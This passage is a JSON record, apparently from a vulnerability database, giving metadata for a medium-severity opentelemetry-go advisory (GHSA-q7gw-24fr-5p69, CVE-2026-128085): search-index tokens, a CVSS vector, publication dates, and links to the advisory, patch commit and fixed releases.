'utf8.decoderuneinstring':320C 'utf8.runeerror':310C,341C 'v0.22.0':633C,641C 'v1':255C,533C 'v1.33.0':139C,246C 'v1.35.0':213C 'v1.46.0':269C,286C,508C,629C,637C,645C 'valid':113C,295C,367C,389C,472C 'valu':109C,163C,385C,403C 'var':298C 'verbatim':173C 'version':240C,563C 'went':504C 'whatev':407C 'without':150C,154C 'wvj8':132C,234C,527C 'yield':340C","cause_entry":null,"cause_path":null,"disclosures_checked_at":null,"first_public_at":"2026-10-28T16:43:06+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-q7gw-24fr-5p69","url":"https://github.com/advisories/GHSA-q7gw-24fr-5p69","severity":"medium","published_at":"2026-11-13T19:00:55+00:00","modified_at":"2026-11-13T19:00:56+00:00","first_seen_at":"2026-11-13T19:03:28+00:00","fetched_at":"2026-11-13T19:08:31+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-128085","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128085","severity":null,"published_at":"2026-11-13T19:19:31+00:00","modified_at":"2026-11-13T19:19:31+00:00","first_seen_at":"2026-11-13T19:52:09+00:00","fetched_at":"2026-11-13T19:52:10+00:00","note":null}],"documents":[{"id":148701,"url":"https://api.github.com/repos/open-telemetry/opentelemetry-go/security-advisories/GHSA-q7gw-24fr-5p69","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":148702,"url":"https://github.com/open-telemetry/opentelemetry-go/security/advisories/GHSA-q7gw-24fr-5p69","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2026-10-28T16:43:06+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":148703,"url":"https://github.com/open-telemetry/opentelemetry-go/commit/017b08c7f1018b619991aaf6b2299d4beb9da1d3","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":148704,"url":"https://github.com/open-telemetry/opentelemetry-go/releases/tag/sdk/log/v1.47.0","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"},{"id":148705,"url":"https://github.com/open-telemetry/opentelemetry-go/releases/tag/sdk/v1.47.0","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"},{"id":148706,"url":"https://github.com/open-telemetry/opentelemetry-go/releases/tag/trace/v1.47.0","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"}],"disclosures":[],"exploit_sources":[],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}